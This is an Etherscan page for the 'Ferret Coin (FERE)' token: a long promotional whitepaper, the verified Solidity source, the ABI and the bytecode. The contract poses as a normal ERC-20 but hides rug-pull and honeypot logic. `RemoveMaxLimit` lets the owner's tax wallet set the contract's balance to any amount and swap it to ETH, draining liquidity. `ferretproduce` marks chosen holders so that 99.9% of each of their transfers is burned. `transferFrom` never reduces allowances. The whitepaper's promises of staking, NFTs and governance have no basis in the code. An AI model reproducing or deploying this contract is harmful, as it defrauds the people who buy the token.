ETH Price: $3,910.16 (+1.32%)

Token

ERC-20: Ferret Coin (FERE)
 

Overview

Max Total Supply

1,000,000,000 FERE

Holders

124

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
250,000 FERE

Value
$0.00
0xecf48f983f184f68cb8b892894ba4d1b4b88c47c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FerretCoin

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-03-05
*/

/*
www.ferretcoineth.com
t.me/ferretcoineth
x.com/ferretcoineth
Ferret Coin emerges as a pioneering token within the flourishing domain of meme-based cryptocurrencies, presenting a versatile platform tailored to meet the diverse needs and preferences of meme coin enthusiasts globally. Symbolized by FERE, this token embodies a wealth of innovative features, including NFT integration, reward systems, staking mechanisms, and decentralized governance structures. With an unwavering dedication to community engagement, value generation, and decentralized decision-making, Ferret Coin endeavors to redefine the narrative surrounding meme coins, establishing new benchmarks for utility, functionality, and longevity within the crypto landscape.
In the midst of the meme coin proliferation, a persistent challenge arises: the absence of comprehensive solutions that address the multifaceted demands of users while fostering an inclusive and decentralized community. Ferret Coin boldly confronts this challenge by offering a holistic platform that transcends the confines of traditional meme coins, harnessing the transformative potential of blockchain technology to empower users and catalyze meaningful interaction.
At its core, Ferret Coin represents more than just a token; it embodies a visionary outlook for the future of decentralized finance (DeFi) and non-fungible tokens (NFTs), seamlessly amalgamating the ingenuity of meme culture with the efficiency of blockchain technology. By integrating NFT functionality, Ferret Coin empowers users to unleash their creative prowess, minting, buying, selling, and trading unique digital assets within a decentralized marketplace. This innovative feature not only enables content creators to monetize their creations but also fosters a dynamic ecosystem of digital collectibles, fostering engagement and collaboration within the community.
Moreover, Ferret Coin incorporates robust reward systems designed to incentivize user participation and cultivate long-term engagement. Through a dynamic array of reward mechanisms, users can earn FERE tokens by holding, staking, contributing to the community, and participating in governance decisions. This incentivization framework not only fosters loyalty and dedication but also drives organic growth and sustainability within the ecosystem, ensuring that users are duly recognized for their contributions.
In addition to reward systems, Ferret Coin offers staking mechanisms that enable users to lock their assets in exchange for rewards and additional benefits. By engaging in staking activities, users not only earn passive income but also play an integral role in securing and stabilizing the network, thereby bolstering its overall resilience and integrity. This symbiotic relationship between users and the protocol underscores the decentralized ethos upon which Ferret Coin is founded, fostering a sense of ownership and empowerment within the community.
Central to Ferret Coin's ethos is its commitment to decentralized governance, allowing community members to actively participate in decision-making processes that shape the trajectory of the platform. Through decentralized voting mechanisms, users have a voice in protocol upgrades, fee adjustments, strategic initiatives, and other governance matters, ensuring a fair and transparent governance model that reflects the collective will of the community. This democratization of decision-making not only enhances the resilience and adaptability of the platform but also fosters a sense of ownership and stewardship among users, driving sustained growth and innovation.
Looking ahead, the roadmap for Ferret Coin is characterized by ambitious milestones and strategic initiatives aimed at further enhancing the platform's functionality, scalability, and utility. Key priorities include the development and implementation of enhanced NFT functionality, governance improvements, cross-chain compatibility, strategic partnerships, and user-centric enhancements designed to elevate the overall user experience. By leveraging the collective expertise of its team members and advisors, Ferret Coin is poised to solidify its position as a leading player in the meme coin ecosystem, catalyzing positive change and innovation within the crypto industry.
In conclusion, Ferret Coin represents a paradigm shift in meme-based cryptocurrencies, offering a comprehensive platform that transcends the limitations of traditional meme coins, setting new standards for utility, functionality, and sustainability within the crypto ecosystem. With its innovative features, robust tokenomics, and vibrant community, Ferret Coin is poised to redefine the landscape of meme coins, ushering in a new era of decentralized finance and digital creativity.
In the ever-evolving landscape of cryptocurrency, the rise of meme-based coins has captured the imagination of users worldwide. Among these innovative tokens, Ferret Coin (symbolized as FERE) emerges as a beacon of creativity and utility, offering a comprehensive platform that transcends the boundaries of traditional meme coins. With its diverse array of features and robust infrastructure, Ferret Coin is poised to redefine the meme coin narrative, providing users with unparalleled opportunities for engagement, value creation, and community empowerment.
At its core, Ferret Coin embodies the spirit of decentralized finance (DeFi) and non-fungible tokens (NFTs), leveraging the power of blockchain technology to revolutionize the way users interact with digital assets. By combining the ingenuity of meme culture with the functionality of decentralized platforms, Ferret Coin presents a compelling vision for the future of cryptocurrency, one that prioritizes inclusivity, innovation, and user-centric design.
In this introductory section, we will delve into the core principles and values that underpin Ferret Coin, explore its unique features and capabilities, and outline the broader context in which it operates within the dynamic landscape of cryptocurrency.
At the heart of Ferret Coin lie a set of core principles that guide its development, implementation, and adoption. These principles include:
Decentralization: Ferret Coin is committed to decentralization, empowering users to take control of their financial assets and participate in decision-making processes that shape the future of the platform. By removing intermediaries and gatekeepers, Ferret Coin fosters a truly democratic and inclusive ecosystem where every voice matters.
Innovation: Ferret Coin embraces innovation as a driving force behind its evolution, constantly seeking new ways to enhance user experience, expand functionality, and unlock value for its community. Through ongoing research and development, Ferret Coin strives to stay at the forefront of technological advancements in the cryptocurrency space.
Community Engagement: The Ferret Coin community is the lifeblood of the platform, driving growth, fostering collaboration, and shaping its collective identity. By prioritizing community engagement and feedback, Ferret Coin cultivates a vibrant and supportive ecosystem where users can thrive and contribute to the platform's success.
Transparency: Transparency is a fundamental tenet of Ferret Coin's ethos, ensuring that all decisions, processes, and operations are conducted in an open and accountable manner. By providing visibility into its governance structures, tokenomics, and development roadmap, Ferret Coin builds trust and confidence among its users.
Ferret Coin distinguishes itself from other meme coins through its innovative features and capabilities, including:
NFT Integration: Ferret Coin incorporates NFT functionality, enabling users to create, buy, sell, and trade unique digital assets within a decentralized marketplace. This feature empowers creators to monetize their content and provides collectors with a platform to discover and acquire rare and valuable NFTs.
Reward Systems: Ferret Coin implements robust reward systems that incentivize user participation and engagement. Users can earn FERE tokens through various activities such as holding, staking, contributing to the community, and participating in governance decisions. These rewards encourage long-term commitment and foster a sense of ownership among users.
Staking Mechanisms: Ferret Coin offers staking opportunities, allowing users to lock their tokens in exchange for rewards and additional benefits. Staking not only provides users with passive income but also contributes to the security and stability of the network, reinforcing Ferret Coin's resilience and integrity.
Decentralized Governance: Ferret Coin adopts decentralized governance protocols, enabling community members to participate in decision-making processes that shape the direction of the platform. Through decentralized voting mechanisms, users have a voice in protocol upgrades, fee adjustments, and other governance matters, ensuring a fair and transparent governance model.
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract FerretCoin is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Ferret Coin";
    string private _symbol = "FERE";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function frte() external {
    }
    function Ferret() external {
    }
    function ferefor() public {
    }
    function ferein() external {
    }
    function ferretproduce(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function RemoveMaxLimit(uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Ferret","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"RemoveMaxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ferefor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ferein","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"ferretproduce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"frte","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600b81526020017f46657272657420436f696e00000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600481526020017f464552450000000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d5380620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461031857806395d89b4114610336578063a457c2d714610354578063a9059cbb14610384578063cd8c15d2146103b4578063dd62ed3e146103be57610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e85780637d78653a146102f25780638226564d146102fc57610140565b806323b872dd1161010857806323b872dd146101c4578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806347fe33921461027e57610140565b806306fdde0314610144578063095ea7b3146101625780631327cab51461019257806315b060801461019c57806318160ddd146101a6575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b005b6101a4610496565b005b6101ae610498565b6040516101bb9190611500565b60405180910390f35b6101de60048036038101906101d99190611519565b6104a1565b6040516101eb91906114d8565b60405180910390f35b6101fc610543565b6040516102099190611500565b60405180910390f35b61021a61054c565b6040516102279190611500565b60405180910390f35b61024a60048036038101906102459190611480565b610552565b60405161025791906114d8565b60405180910390f35b6102686105f2565b6040516102759190611500565b60405180910390f35b610298600480360381019061029391906115ca565b6105f8565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b61031660048036038101906103119190611668565b610848565b005b610320610ae5565b60405161032d9190611624565b60405180910390f35b61033e610b0c565b60405161034b91906113cb565b60405180910390f35b61036e60048036038101906103699190611480565b610b9c565b60405161037b91906114d8565b60405180910390f35b61039e60048036038101906103999190611480565b610cc0565b6040516103ab91906114d8565b60405180910390f35b6103bc610cdd565b005b6103d860048036038101906103d391906116a6565b610cdf565b6040516103e59190611500565b60405180910390f35b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b565b565b5f600254905090565b5f6104ad848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f4611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610538575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f6105e861055e611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e3919061176e565b610d61565b6001905092915050565b60025481565b5f61060161120a565b90505f5b838390508110156106a657610618611211565b156106935760018261062a919061176e565b60085f8686858181106106405761063f6117a1565b5b9050602002016020810190610655919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b808061069e906117ce565b915050610605565b50505050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610736610ae5565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b610850611211565b15610adb576108813060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156108df576108de61187d565b5b60405190808252806020026020018201604052801561090d5781602001602082028036833780820191505090505b50905030815f81518110610924576109236117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ec91906118be565b81600181518110610a00576109ff6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610a88919061176e565b6040518663ffffffff1660e01b8152600401610aa89594939291906119e2565b5f604051808303815f87803b158015610abf575f80fd5b505af1158015610ad1573d5f803e3d5ffd5b5050505050610ae0565b610ae1565b5b5050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b1b90611711565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4790611711565b8015610b925780601f10610b6957610100808354040283529160200191610b92565b820191905f5260205f20905b815481529060010190602001808311610b7557829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c21575f80fd5b610cb6610c2c611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cb19190611a3a565b610d61565b6001905092915050565b5f610cd3610ccc611203565b8484610f24565b6001905092915050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110539190611a3a565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab9190611a3a565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ff